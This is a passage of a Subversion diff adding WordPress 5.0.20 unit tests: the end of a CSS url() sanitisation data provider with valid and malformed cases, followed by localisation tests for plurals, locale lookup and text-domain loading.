+			// No quotes.
+			array(
+				'background-image: url( http://example.com/valid.gif );',
+				'background-image: url( http://example.com/valid.gif )',
+			),
+
+			// Single quotes, extra spaces.
+			array(
+				"background-image: url( '  http://example.com/valid.gif ' );",
+				"background-image: url( '  http://example.com/valid.gif ' )",
+			),
+
+			// Line breaks, single quotes.
+			array(
+				"background-image: url(\n'http://example.com/valid.gif' );",
+				"background-image: url('http://example.com/valid.gif' )",
+			),
+
+			// Tabs not spaces, single quotes.
+			array(
+				"background-image: url(\t'http://example.com/valid.gif'\t\t);",
+				"background-image: url('http://example.com/valid.gif')",
+			),
+
+			// Single quotes, absolute path.
+			array(
+				"background: url('/valid.gif');",
+				"background: url('/valid.gif')",
+			),
+
+			// Single quotes, relative path.
+			array(
+				"background: url('../wp-content/uploads/2018/10/valid.gif');",
+				"background: url('../wp-content/uploads/2018/10/valid.gif')",
+			),
+
+			// Error check: valid property not containing a URL.
+			array(
+				"background: red",
+				"background: red",
+			),
+
+			/*
+			 * Invalid use cases.
+			 */
+
+			// Attribute doesn't support URL properties.
+			array(
+				'color: url( "http://example.com/invalid.gif" );',
+				'',
+			),
+
+			// Mismatched quotes.
+			array(
+				'background-image: url( "http://example.com/valid.gif\' );',
+				'',
+			),
+
+			// Bad protocol, double quotes.
+			array(
+				'background-image: url( "bad://example.com/invalid.gif" );',
+				'',
+			),
+
+			// Bad protocol, single quotes.
+			array(
+				"background-image: url( 'bad://example.com/invalid.gif' );",
+				'',
+			),
+
+			// Bad protocol, single quotes.
+			array(
+				"background-image: url( 'bad://example.com/invalid.gif' );",
+				'',
+			),
+
+			// Bad protocol, single quotes, strange spacing.
+			array(
+				"background-image: url( '  \tbad://example.com/invalid.gif ' );",
+				'',
+			),
+
+			// Bad protocol, no quotes.
+			array(
+				'background-image: url( bad://example.com/invalid.gif );',
+				'',
+			),
+
+			// No URL inside url().
+			array(
+				'background-image: url();',
+				'',
+			),
+
+			// Malformed, no closing `)`.
+			array(
+				'background-image: url( "http://example.com" ;',
+				'',
+			),
+
+			// Malformed, no closing `"`.
+			array(
+				'background-image: url( "http://example.com );',
+				'',
+			),
+		);
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/l10n.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/l10n.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/l10n.php	(revision 56912)
@@ -0,0 +1,191 @@
+<?php
+
+/**
+ * @group l10n
+ * @group i18n
+ */
+class Tests_L10n extends WP_UnitTestCase {
+
+	/**
+	 * @ticket 35961
+	 */
+	function test_n_noop() {
+		$text_domain   = 'text-domain';
+		$nooped_plural = _n_noop( '%s post', '%s posts', $text_domain );
+
+		$this->assertNotEmpty( $nooped_plural['domain'] );
+		$this->assertEquals( '%s posts', translate_nooped_plural( $nooped_plural, 0, $text_domain ) );
+		$this->assertEquals( '%s post', translate_nooped_plural( $nooped_plural, 1, $text_domain ) );
+		$this->assertEquals( '%s posts', translate_nooped_plural( $nooped_plural, 2, $text_domain ) );
+	}
+
+	/**
+	 * @ticket 35961
+	 */
+	function test_nx_noop() {
+		$text_domain   = 'text-domain';
+		$nooped_plural = _nx_noop( '%s post', '%s posts', 'my-context', $text_domain );
+
+		$this->assertNotEmpty( $nooped_plural['domain'] );
+		$this->assertNotEmpty( $nooped_plural['context'] );
+		$this->assertEquals( '%s posts', translate_nooped_plural( $nooped_plural, 0, $text_domain ) );
+		$this->assertEquals( '%s post', translate_nooped_plural( $nooped_plural, 1, $text_domain ) );
+		$this->assertEquals( '%s posts', translate_nooped_plural( $nooped_plural, 2, $text_domain ) );
+	}
+
+	/**
+	 * @ticket 35073
+	 */
+	function test_before_last_bar() {
+		$this->assertEquals( 'no-bar-at-all', before_last_bar( 'no-bar-at-all' ) );
+		$this->assertEquals( 'before-last-bar', before_last_bar( 'before-last-bar|after-bar' ) );
+		$this->assertEquals( 'first-before-bar|second-before-bar', before_last_bar( 'first-before-bar|second-before-bar|after-last-bar' ) );
+	}
+
+	/**
+	 * @ticket 35950
+	 */
+	function test_get_available_languages() {
+		$array = get_available_languages();
+		$this->assertInternalType( 'array', $array );
+
+		$array = get_available_languages( '.' );
+		$this->assertEmpty( $array );
+
+		$array = get_available_languages( DIR_TESTDATA . '/languages/' );
+		$this->assertEquals( array( 'de_DE', 'en_GB', 'es_ES' ), $array );
+	}
+
+	/**
+	 * @ticket 35284
+	 */
+	function test_wp_get_installed_translations_for_core() {
+		$installed_translations = wp_get_installed_translations( 'core' );
+		$this->assertInternalType( 'array', $installed_translations );
+		$textdomains_expected = array( 'admin', 'admin-network', 'continents-cities', 'default' );
+		$this->assertEqualSets( $textdomains_expected, array_keys( $installed_translations ) );
+
+		$this->assertNotEmpty( $installed_translations['default']['en_GB'] );
+		$data_en_GB = $installed_translations['default']['en_GB'];
+		$this->assertEquals( '2016-10-26 00:01+0200', $data_en_GB['PO-Revision-Date'] );
+		$this->assertEquals( 'Development (4.4.x)', $data_en_GB['Project-Id-Version'] );
+		$this->assertEquals( 'Poedit 1.8.10', $data_en_GB['X-Generator'] );
+
+		$this->assertNotEmpty( $installed_translations['admin']['es_ES'] );
+		$data_es_ES = $installed_translations['admin']['es_ES'];
+		$this->assertEquals( '2016-10-25 18:29+0200', $data_es_ES['PO-Revision-Date'] );
+		$this->assertEquals( 'Administration', $data_es_ES['Project-Id-Version'] );
+		$this->assertEquals( 'Poedit 1.8.10', $data_es_ES['X-Generator'] );
+	}
+
+	/**
+	 * @ticket 35294
+	 */
+	function test_wp_dropdown_languages() {
+		$args = array(
+			'id'           => 'foo',
+			'name'         => 'bar',
+			'languages'    => array( 'de_DE' ),
+			'translations' => $this->wp_dropdown_languages_filter(),
+			'selected'     => 'de_DE',
+			'echo'         => false,
+		);
+		$actual = wp_dropdown_languages( $args );
+
+		$this->assertContains( 'id="foo"', $actual );
+		$this->assertContains( 'name="bar"', $actual );
+		$this->assertContains( '<option value="" lang="en" data-installed="1">English (United States)</option>', $actual );
+		$this->assertContains( '<option value="de_DE" lang="de" selected=\'selected\' data-installed="1">Deutsch</option>', $actual );
+		$this->assertContains( '<option value="it_IT" lang="it">Italiano</option>', $actual );
+	}
+
+	/**
+	 * @ticket 38632
+	 */
+	function test_wp_dropdown_languages_site_default() {
+		$args = array(
+			'id'                       => 'foo',
+			'name'                     => 'bar',
+			'languages'                => array( 'de_DE' ),
+			'translations'             => $this->wp_dropdown_languages_filter(),
+			'selected'                 => 'de_DE',
+			'echo'                     => false,
+			'show_option_site_default' => true,
+		);
+		$actual = wp_dropdown_languages( $args );
+
+		$this->assertContains( 'id="foo"', $actual );
+		$this->assertContains( 'name="bar"', $actual );
+		$this->assertContains( '<option value="site-default" data-installed="1">Site Default</option>', $actual );
+		$this->assertContains( '<option value="" lang="en" data-installed="1">English (United States)</option>', $actual );
+		$this->assertContains( '<option value="de_DE" lang="de" selected=\'selected\' data-installed="1">Deutsch</option>', $actual );
+		$this->assertContains( '<option value="it_IT" lang="it">Italiano</option>', $actual );
+	}
+
+	/**
+	 * @ticket 38632
+	 */
+	function test_wp_dropdown_languages_en_US_selected() {
+		$args = array(
+			'id'           => 'foo',
+			'name'         => 'bar',
+			'languages'    => array( 'de_DE' ),
+			'translations' => $this->wp_dropdown_languages_filter(),
+			'selected'     => 'en_US',
+			'echo'         => false,
+		);
+		$actual = wp_dropdown_languages( $args );
+
+		$this->assertContains( 'id="foo"', $actual );
+		$this->assertContains( 'name="bar"', $actual );
+		$this->assertContains( '<option value="" lang="en" data-installed="1" selected=\'selected\'>English (United States)</option>', $actual );
+		$this->assertContains( '<option value="de_DE" lang="de" data-installed="1">Deutsch</option>', $actual );
+		$this->assertContains( '<option value="it_IT" lang="it">Italiano</option>', $actual );
+	}
+
+	/**
+	 * We don't want to call the API when testing.
+	 *
+	 * @return array
+	 */
+	function wp_dropdown_languages_filter() {
+		return array(
+			'de_DE' => array(
+				'language'    => 'de_DE',
+				'native_name' => 'Deutsch',
+				'iso'         => array( 'de' ),
+			),
+			'it_IT' => array(
+				'language'    => 'it_IT',
+				'native_name' => 'Italiano',
+				'iso'         => array( 'it', 'ita' ),
+			),
+		);
+	}
+
+	/**
+	 * @ticket 35284
+	 */
+	function test_wp_get_pomo_file_data() {
+		$file  = DIR_TESTDATA . '/pomo/empty.po';
+		$array = wp_get_pomo_file_data( $file );
+		$this->assertArrayHasKey( 'POT-Creation-Date', $array );
+		$this->assertArrayHasKey( 'PO-Revision-Date', $array );
+		$this->assertArrayHasKey( 'Project-Id-Version', $array );
+		$this->assertArrayHasKey( 'X-Generator', $array );
+
+		$file  = DIR_TESTDATA . '/pomo/mo.pot';
+		$array = wp_get_pomo_file_data( $file );
+		$this->assertNotEmpty( $array['POT-Creation-Date'] );
+		$this->assertNotEmpty( $array['PO-Revision-Date'] );
+		$this->assertNotEmpty( $array['Project-Id-Version'] );
+		$this->assertArrayHasKey( 'X-Generator', $array );
+
+		$file  = DIR_TESTDATA . '/languages/es_ES.po';
+		$array = wp_get_pomo_file_data( $file );
+		$this->assertArrayHasKey( 'POT-Creation-Date', $array );
+		$this->assertNotEmpty( $array['PO-Revision-Date'] );
+		$this->assertNotEmpty( $array['Project-Id-Version'] );
+		$this->assertNotEmpty( $array['X-Generator'] );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/l10n/getLocale.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/l10n/getLocale.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/l10n/getLocale.php	(revision 56912)
@@ -0,0 +1,100 @@
+<?php
+
+/**
+ * @group l10n
+ * @group i18n
+ */
+class Tests_L10n_GetLocale extends WP_UnitTestCase {
+	public function test_should_respect_locale_global() {
+		global $locale;
+		$old_locale = $locale;
+
+		$locale = 'foo';
+
+		$found = get_locale();
+		$locale = $old_locale;
+
+		$this->assertSame( 'foo', $found );
+	}
+
+	/**
+	 * @group ms-required
+	 */
+	public function test_local_option_should_take_precedence_on_multisite() {
+		global $locale;
+		$old_locale = $locale;
+		$locale = null;
+
+		update_option( 'WPLANG', 'en_GB' );
+		update_site_option( 'WPLANG', 'es_ES' );
+
+		$found = get_locale();
+		$locale = $old_locale;
+
+		$this->assertSame( 'en_GB', $found );
+	}
+
+	/**
+	 * @group ms-required
+	 */
+	public function test_network_option_should_be_fallback_on_multisite() {
+		if ( ! is_multisite() ) {
+			$this->markTestSkipped( __METHOD__ . ' requires Multisite' );
+		}
+
+		global $locale;
+		$old_locale = $locale;
+		$locale = null;
+
+		update_site_option( 'WPLANG', 'es_ES' );
+
+		$found = get_locale();
+		$locale = $old_locale;
+
+		$this->assertSame( 'es_ES', $found );
+	}
+
+	/**
+	 * @group ms-excluded
+	 */
+	public function test_option_should_be_respected_on_nonmultisite() {
+		if ( is_multisite() ) {
+			$this->markTestSkipped( __METHOD__ . ' does not apply to Multisite' );
+		}
+
+		global $locale;
+		$old_locale = $locale;
+		$locale = null;
+
+		update_option( 'WPLANG', 'es_ES' );
+
+		$found = get_locale();
+		$locale = $old_locale;
+
+		$this->assertSame( 'es_ES', $found );
+
+	}
+
+	public function test_should_fall_back_on_en_US() {
+		global $locale;
+		$old_locale = $locale;
+		$locale = null;
+
+		$found = get_locale();
+		$locale = $old_locale;
+
+		$this->assertSame( 'en_US', $found );
+	}
+
+	public function test_should_respect_get_locale_filter() {
+		add_filter( 'locale', array( $this, 'filter_get_locale' ) );
+		$found = get_locale();
+		remove_filter( 'locale', array( $this, 'filter_get_locale' ) );
+
+		$this->assertSame( 'foo', $found );
+	}
+
+	public function filter_get_locale() {
+		return 'foo';
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/l10n/getUserLocale.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/l10n/getUserLocale.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/l10n/getUserLocale.php	(revision 56912)
@@ -0,0 +1,133 @@
+<?php
+
+/**
+ * @group l10n
+ * @group i18n
+ */
+class Tests_Get_User_Locale extends WP_UnitTestCase {
+	protected $user_id;
+
+	public function setUp() {
+		parent::setUp();
+
+		$this->user_id = $this->factory()->user->create( array(
+			'role'   => 'administrator',
+			'locale' => 'de_DE',
+		) );
+
+		wp_set_current_user( $this->user_id );
+	}
+
+	public function tearDown() {
+		delete_user_meta( $this->user_id, 'locale' );
+		set_current_screen( 'front' );
+
+		parent::tearDown();
+	}
+
+	public function test_user_locale_property() {
+		set_current_screen( 'dashboard' );
+		$this->assertSame( 'de_DE', get_user_locale() );
+		$this->assertSame( get_user_by( 'id', $this->user_id )->locale, get_user_locale() );
+	}
+
+	public function test_update_user_locale() {
+		set_current_screen( 'dashboard' );
+		update_user_meta( $this->user_id, 'locale', 'fr_FR' );
+		$this->assertSame( 'fr_FR', get_user_locale() );
+	}
+
+	public function test_returns_site_locale_if_empty() {
+		set_current_screen( 'dashboard' );
+		update_user_meta( $this->user_id, 'locale', '' );
+		$this->assertSame( get_locale(), get_user_locale() );
+	}
+
+	public function test_returns_site_locale_if_no_user() {
+		wp_set_current_user( 0 );
+		$this->assertSame( get_locale(), get_user_locale() );
+	}
+
+	public function test_returns_correct_user_locale() {
+		set_current_screen( 'dashboard' );
+		$this->assertSame( 'de_DE', get_user_locale() );
+	}
+
+	public function test_returns_correct_user_locale_on_frontend() {
+		$this->assertSame( 'de_DE', get_user_locale() );
+	}
+
+	public function test_site_locale_is_not_affected() {
+		set_current_screen( 'dashboard' );
+		$this->assertSame( 'en_US', get_locale() );
+	}
+
+	public function test_site_locale_is_not_affected_on_frontend() {
+		$this->assertSame( 'en_US', get_locale() );
+	}
+
+	/**
+	 * @group ms-required
+	 */
+	public function test_user_locale_is_same_across_network() {
+		if ( ! is_multisite() ) {
+			$this->markTestSkipped( __METHOD__ . ' requires multisite' );
+		}
+
+		$user_locale = get_user_locale();
+
+		switch_to_blog( self::factory()->blog->create() );
+		$user_locale_2 = get_user_locale();
+		restore_current_blog();
+
+		$this->assertSame( 'de_DE', $user_locale );
+		$this->assertSame( $user_locale, $user_locale_2 );
+	}
+
+	public function test_user_id_argument_with_id() {
+		$user_id = $this->factory()->user->create( array(
+			'locale' => 'es_ES',
+		) );
+
+		$user_locale1 = get_user_locale( $user_id );
+
+		delete_user_meta( $user_id, 'locale' );
+
+		$user_locale2 = get_user_locale( $user_id );
+
+		$this->assertSame( 'es_ES', $user_locale1 );
+		$this->assertSame( get_locale(), $user_locale2 );
+	}
+
+	public function test_user_id_argument_with_wp_user_object() {
+		$user_id = $this->factory()->user->create( array(
+			'locale' => 'es_ES',
+		) );
+
+		$user = get_user_by( 'id', $user_id );
+
+		$user_locale1 = get_user_locale( $user );
+
+		delete_user_meta( $user_id, 'locale' );
+
+		$user_locale2 = get_user_locale( $user );
+
+		$this->assertSame( 'es_ES', $user_locale1 );
+		$this->assertSame( get_locale(), $user_locale2 );
+	}
+
+	public function test_user_id_argument_with_nonexistent_user() {
+		global $wpdb;
+
+		$user_id = $wpdb->get_var( "SELECT MAX(ID) FROM $wpdb->users" ) + 1;
+
+		$user_locale = get_user_locale( $user_id );
+
+		$this->assertSame( get_locale(), $user_locale );
+	}
+
+	public function test_user_id_argument_with_invalid_type() {
+		$user_locale = get_user_locale( 'string' );
+		$this->assertSame( get_locale(), $user_locale );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/l10n/loadScriptTextdomain.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/l10n/loadScriptTextdomain.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/l10n/loadScriptTextdomain.php	(revision 56912)
@@ -0,0 +1,41 @@
+<?php
+
+/**
+ * @group l10n
+ * @group i18n
+ */
+class Tests_L10n_loadScriptTextdomain extends WP_UnitTestCase {
+	public function site_url_subdirectory( $site_url ) {
+		return $site_url . '/wp';
+	}
+
+	public function relative_path_from_cdn( $relative, $src ) {
+		if ( 0 === strpos( $src, 'https://my-cdn.com/wordpress/' ) ) {
+			return substr( $src, strlen( 'https://my-cdn.com/wordpress/' ) );
+		}
+
+		return $relative;
+	}
+
+	/**
+	 * @ticket 45528
+	 */
+	public function test_resolve_relative_path() {
+		$json_translations = file_get_contents( DIR_TESTDATA . '/languages/en_US-813e104eb47e13dd4cc5af844c618754.json' );
+
+		wp_enqueue_script( 'test-example-root', '/wp-includes/js/script.js', array(), null );
+		$this->assertEquals( $json_translations, load_script_textdomain( 'test-example-root', 'default', DIR_TESTDATA . '/languages' ) );
+
+		// Assets on a CDN.
+		add_filter( 'load_script_textdomain_relative_path', array( $this, 'relative_path_from_cdn' ), 10, 2 );
+		wp_enqueue_script( 'test-example-cdn', 'https://my-cdn.com/wordpress/wp-includes/js/script.js', array(), null );
+		$this->assertEquals( $json_translations, load_script_textdomain( 'test-example-cdn', 'default', DIR_TESTDATA . '/languages' ) );
+		remove_filter( 'load_script_textdomain_relative_path', array( $this, 'relative_path_from_cdn' ) );
+
+		// Test for WordPress installs in a subdirectory.
+		add_filter( 'site_url', array( $this, 'site_url_subdirectory' ) );
+		wp_enqueue_script( 'test-example-subdir', '/wp/wp-includes/js/script.js', array(), null );
+		$this->assertEquals( $json_translations, load_script_textdomain( 'test-example-subdir', 'default', DIR_TESTDATA . '/languages' ) );
+		remove_filter( 'site_url', array( $this, 'site_url_subdirectory' ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/l10n/loadTextdomain.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/l10n/loadTextdomain.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/l10n/loadTextdomain.php	(revision 56912)
@@ -0,0 +1,247 @@
+<?php
+
+/**
+ * @group l10n
+ * @group i18n
+ */
+class Tests_L10n_loadTextdomain extends WP_UnitTestCase {
+	protected $locale;
+	protected static $user_id;
+
+	public static function wpSetUpBeforeClass( $factory ) {
+		self::$user_id = $factory->user->create( array(
+			'role'   => 'administrator',
+			'locale' => 'de_DE',
+		) );
+	}
+
+	public function setUp() {
+		parent::setUp();
+
+		$this->locale = '';
+
+		add_filter( 'plugin_locale', array( $this, 'store_locale' ) );
+		add_filter( 'theme_locale', array( $this, 'store_locale' ) );
+	}
+
+	public function tearDown() {
+		remove_filter( 'plugin_locale', array( $this, 'store_locale' ) );
+		remove_filter( 'theme_locale', array( $this, 'store_locale' ) );
+
+		parent::tearDown();
+	}
+
+	public function store_locale( $locale ) {
+		$this->locale = $locale;
+
+		return $locale;
+	}
+
+	public function test_is_textdomain_loaded(  ) {
+		$this->assertFalse( is_textdomain_loaded( 'wp-tests-domain' ) );
+	}
+
+	public function test_unload_textdomain(  ) {
+		$this->assertFalse( unload_textdomain( 'wp-tests-domain' ) );
+	}
+
+	public function test_load_textdomain() {
+		$loaded = load_textdomain( 'wp-tests-domain', DIR_TESTDATA . '/pomo/simple.mo' );
+
+		unload_textdomain( 'wp-tests-domain' );
+
+		$this->assertTrue( $loaded );
+	}
+
+	public function test_is_textdomain_loaded_after_loading(  ) {
+		load_textdomain( 'wp-tests-domain', DIR_TESTDATA . '/pomo/simple.mo' );
+
+		$loaded = is_textdomain_loaded( 'wp-tests-domain' );
+
+		unload_textdomain( 'wp-tests-domain' );
+
+		$this->assertTrue( $loaded );
+	}
+
+	public function test_unload_textdomain_after_loading(  ) {
+		load_textdomain( 'wp-tests-domain', DIR_TESTDATA . '/pomo/simple.mo' );
+
+		$this->assertTrue( unload_textdomain( 'wp-tests-domain' ) );
+	}
+
+	public function test_is_textdomain_loaded_after_unloading(  ) {
+		load_textdomain( 'wp-tests-domain', DIR_TESTDATA . '/pomo/simple.mo' );
+
+		unload_textdomain( 'wp-tests-domain' );
+
+		$this->assertFalse( is_textdomain_loaded( 'wp-tests-domain' ) );
+	}
+
+	/**
+	 * @ticket 21319
+	 */
+	public function test_load_textdomain_non_existent_file() {
+		$this->assertFalse( load_textdomain( 'wp-tests-domain', DIR_TESTDATA . '/non-existent-file' ) );
+	}
+
+	/**
+	 * @ticket 21319
+	 */
+	public function test_is_textdomain_loaded_non_existent_file(  ) {
+		load_textdomain( 'wp-tests-domain', DIR_TESTDATA . '/non-existent-file' );
+
+		$this->assertFalse( is_textdomain_loaded( 'wp-tests-domain' ) );
+	}
+
+	/**
+	 * @ticket 21319
+	 */
+	public function test_get_translations_for_domain_non_existent_file(  ) {
+		load_textdomain( 'wp-tests-domain', DIR_TESTDATA . '/non-existent-file' );
+
+		$this->assertInstanceOf( 'NOOP_Translations', get_translations_for_domain( 'wp-tests-domain' ) );
+	}
+
+	/**
+	 * @ticket 21319
+	 */
+	public function test_unload_textdomain_non_existent_file() {
+		load_textdomain( 'wp-tests-domain', DIR_TESTDATA . '/non-existent-file' );
+
+		$this->assertFalse( unload_textdomain( 'wp-tests-domain' ) );
+	}
+
+	/**
+	 * @ticket 21319
+	 */
+	function test_is_textdomain_is_not_loaded_after_gettext_call_with_no_translations() {
+		$this->assertFalse( is_textdomain_loaded( 'wp-tests-domain' ) );
+		__( 'just some string', 'wp-tests-domain' );
+		$this->assertFalse( is_textdomain_loaded( 'wp-tests-domain' ) );
+	}
+
+	function test_override_load_textdomain_noop() {
+		add_filter( 'override_load_textdomain', '__return_true' );
+		$load_textdomain = load_textdomain( 'wp-tests-domain', DIR_TESTDATA . '/non-existent-file' );
+		remove_filter( 'override_load_textdomain', '__return_true' );
+
+		$this->assertTrue( $load_textdomain );
+		$this->assertFalse( is_textdomain_loaded( 'wp-tests-domain' ) );
+	}
+
+	function test_override_load_textdomain_non_existent_mofile() {
+		add_filter( 'override_load_textdomain', array( $this, '_override_load_textdomain_filter' ), 10, 3 );
+		$load_textdomain = load_textdomain( 'wp-tests-domain', WP_LANG_DIR . '/non-existent-file.mo' );
+		remove_filter( 'override_load_textdomain', array( $this, '_override_load_textdomain_filter' ) );
+
+		$is_textdomain_loaded = is_textdomain_loaded( 'wp-tests-domain' );
+		unload_textdomain( 'wp-tests-domain' );
+		$is_textdomain_loaded_after = is_textdomain_loaded( 'wp-tests-domain' );
+
+		$this->assertFalse( $load_textdomain );
+		$this->assertFalse( $is_textdomain_loaded );
+		$this->assertFalse( $is_textdomain_loaded_after );
+	}
+
+	function test_override_load_textdomain_custom_mofile() {
+		add_filter( 'override_load_textdomain', array( $this, '_override_load_textdomain_filter' ), 10, 3 );
+		$load_textdomain = load_textdomain( 'wp-tests-domain', WP_LANG_DIR . '/plugins/internationalized-plugin-de_DE.mo' );
+		remove_filter( 'override_load_textdomain', array( $this, '_override_load_textdomain_filter' ) );
+
+		$is_textdomain_loaded = is_textdomain_loaded( 'wp-tests-domain' );
+		unload_textdomain( 'wp-tests-domain' );
+		$is_textdomain_loaded_after = is_textdomain_loaded( 'wp-tests-domain' );
+
+		$this->assertTrue( $load_textdomain );
+		$this->assertTrue( $is_textdomain_loaded );
+		$this->assertFalse( $is_textdomain_loaded_after );
+	}
+
+	/**
+	 * @param bool   $override Whether to override the .mo file loading. Default false.
+	 * @param string $domain   Text domain. Unique identifier for retrieving translated strings.
+	 * @param string $file     Path to the MO file.
+	 * @return bool
+	 */
+	function _override_load_textdomain_filter( $override, $domain, $file ) {
+		global $l10n;
+
+		if ( ! is_readable( $file ) ) {
+			return false;
+		}
+
+		$mo = new MO();
+
+		if ( ! $mo->import_from_file( $file ) ) {
+			return false;
+		}
+
+		if ( isset( $l10n[ $domain ] ) ) {
+			$mo->merge_with( $l10n[ $domain ] );
+		}
+
+		$l10n[ $domain ] = &$mo;
+
+		return true;
+	}
+
+	public function test_load_muplugin_textdomain_site_locale() {
+		load_muplugin_textdomain( 'wp-tests-domain' );
+
+		$this->assertSame( get_locale(), $this->locale );
+	}
+
+	/**
+	 * @ticket 38485
+	 */
+	public function test_load_muplugin_textdomain_user_locale() {
+		set_current_screen( 'dashboard' );
+		wp_set_current_user( self::$user_id );
+
+		load_muplugin_textdomain( 'wp-tests-domain' );
+
+		set_current_screen( 'front' );
+
+		$this->assertSame( get_user_locale(), $this->locale );
+	}
+
+	public function test_load_plugin_textdomain_site_locale() {
+		load_plugin_textdomain( 'wp-tests-domain' );
+
+		$this->assertSame( get_locale(), $this->locale );
+	}
+
+	/**
+	 * @ticket 38485
+	 */
+	public function test_load_plugin_textdomain_user_locale() {
+		set_current_screen( 'dashboard' );
+		wp_set_current_user( self::$user_id );
+
+		load_plugin_textdomain( 'wp-tests-domain' );
+
+		set_current_screen( 'front' );
+
+		$this->assertSame( get_user_locale(), $this->locale );
+	}
+
+	public function test_load_theme_textdomain_site_locale() {
+		load_theme_textdomain( 'wp-tests-domain' );
+
+		$this->assertSame( get_locale(), $this->locale );
+	}
+
+	/**
+	 * @ticket 38485
+	 */
+	public function test_load_theme_textdomain_user_locale() {
+		set_current_screen( 'dashboard' );
+		wp_set_current_user( self::$user_id );
+
+		load_theme_textdomain( 'wp-tests-domain' );
+
+		set_current_screen( 'front' );
+
+		$this->assertSame( get_user_locale(), $this->locale );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/l10n/loadTextdomainJustInTime.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/l10n/loadTextdomainJustInTime.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/l10n/loadTextdomainJustInTime.php	(revision 56912)
@@ -0,0 +1,263 @@
+<?php
+
+/**
+ * @group l10n
+ * @group i18n
+ */
+class Tests_L10n_loadTextdomainJustInTime extends WP_UnitTestCase {
+	protected $orig_theme_dir;
+	protected $theme_root;
+	protected static $user_id;
+	private $locale_count;
+
+	public static function wpSetUpBeforeClass( $factory ) {
+		self::$user_id = $factory->user->create( array(
+			'role'   => 'administrator',
+			'locale' => 'de_DE',
+		) );
+	}
+
+	public function setUp() {
+		parent::setUp();
+
+		$this->theme_root = DIR_TESTDATA . '/themedir1';
+		$this->orig_theme_dir = $GLOBALS['wp_theme_directories'];
+		$this->locale_count = 0;
+
+		// /themes is necessary as theme.php functions assume /themes is the root if there is only one root.
+		$GLOBALS['wp_theme_directories'] = array( WP_CONTENT_DIR . '/themes', $this->theme_root );
+		add_filter( 'theme_root', array( $this, 'filter_theme_root' ) );
+		add_filter( 'stylesheet_root', array( $this, 'filter_theme_root' ) );
+		add_filter( 'template_root', array( $this, 'filter_theme_root' ) );
+		wp_clean_themes_cache();
+		unset( $GLOBALS['wp_themes'] );
+		unset( $GLOBALS['l10n'] );
+		unset( $GLOBALS['l10n_unloaded'] );
+		_get_path_to_translation( null, true );
+	}
+
+	public function tearDown() {
+		$GLOBALS['wp_theme_directories'] = $this->orig_theme_dir;
+		remove_filter( 'theme_root', array( $this, 'filter_theme_root' ) );
+		remove_filter( 'stylesheet_root', array( $this, 'filter_theme_root' ) );
+		remove_filter( 'template_root', array( $this, 'filter_theme_root' ) );
+		wp_clean_themes_cache();
+		unset( $GLOBALS['wp_themes'] );
+		unset( $GLOBALS['l10n'] );
+		unset( $GLOBALS['l10n_unloaded'] );
+		_get_path_to_translation( null, true );
+
+		parent::tearDown();
+	}
+
+	/**
+	 * Replace the normal theme root dir with our pre-made test dir.
+	 */
+	public function filter_theme_root() {
+		return $this->theme_root;
+	}
+
+	public function filter_set_locale_to_german() {
+		return 'de_DE';
+	}
+
+	/**
+	 * @ticket 34114
+	 */
+	public function test_plugin_translation_should_be_translated_without_calling_load_plugin_textdomain() {
+		add_filter( 'locale', array( $this, 'filter_set_locale_to_german' ) );
+
+		require_once DIR_TESTDATA . '/plugins/internationalized-plugin.php';
+
+		$is_textdomain_loaded_before = is_textdomain_loaded( 'internationalized-plugin' );
+		$expected_output             = i18n_plugin_test();
+		$is_textdomain_loaded_after  = is_textdomain_loaded( 'internationalized-plugin' );
+
+		remove_filter( 'locale', array( $this, 'filter_set_locale_to_german' ) );
+
+		$this->assertFalse( $is_textdomain_loaded_before );
+		$this->assertSame( 'Das ist ein Dummy Plugin', $expected_output );
+		$this->assertTrue( $is_textdomain_loaded_after );
+	}
+
+	/**
+	 * @ticket 34114
+	 */
+	public function test_theme_translation_should_be_translated_without_calling_load_theme_textdomain() {
+		add_filter( 'locale', array( $this, 'filter_set_locale_to_german' ) );
+
+		switch_theme( 'internationalized-theme' );
+
+		include_once get_stylesheet_directory() . '/functions.php';
+
+		$is_textdomain_loaded_before = is_textdomain_loaded( 'internationalized-theme' );
+		$expected_output             = i18n_theme_test();
+		$is_textdomain_loaded_after  = is_textdomain_loaded( 'internationalized-theme' );
+
+		remove_filter( 'locale', array( $this, 'filter_set_locale_to_german' ) );
+
+		$this->assertFalse( $is_textdomain_loaded_before );
+		$this->assertSame( 'Das ist ein Dummy Theme', $expected_output );
+		$this->assertTrue( $is_textdomain_loaded_after );
+	}
+
+	/**
+	 * @ticket 34114
+	 */
+	public function test_get_translations_for_domain_does_not_return_null_if_override_load_textdomain_is_used() {
+		add_filter( 'locale', array( $this, 'filter_set_locale_to_german' ) );
+		add_filter( 'override_load_textdomain', '__return_true' );
+		$translations = get_translations_for_domain( 'internationalized-plugin' );
+		remove_filter( 'override_load_textdomain', '__return_true' );
+		remove_filter( 'locale', array( $this, 'filter_set_locale_to_german' ) );
+
+		$this->assertTrue( $translations instanceof NOOP_Translations );
+	}
+
+	/**
+	 * @ticket 37113
+	 */
+	public function test_should_allow_unloading_of_text_domain() {
+		add_filter( 'locale', array( $this, 'filter_set_locale_to_german' ) );
+
+		require_once DIR_TESTDATA . '/plugins/internationalized-plugin.php';
+
+		$expected_output_before      = i18n_plugin_test();
+		$is_textdomain_loaded_before = is_textdomain_loaded( 'internationalized-plugin' );
+
+		unload_textdomain( 'internationalized-plugin' );
+		remove_filter( 'locale', array( $this, 'filter_set_locale_to_german' ) );
+
+		$expected_output_after      = i18n_plugin_test();
+		$is_textdomain_loaded_after = is_textdomain_loaded( 'internationalized-plugin' );
+
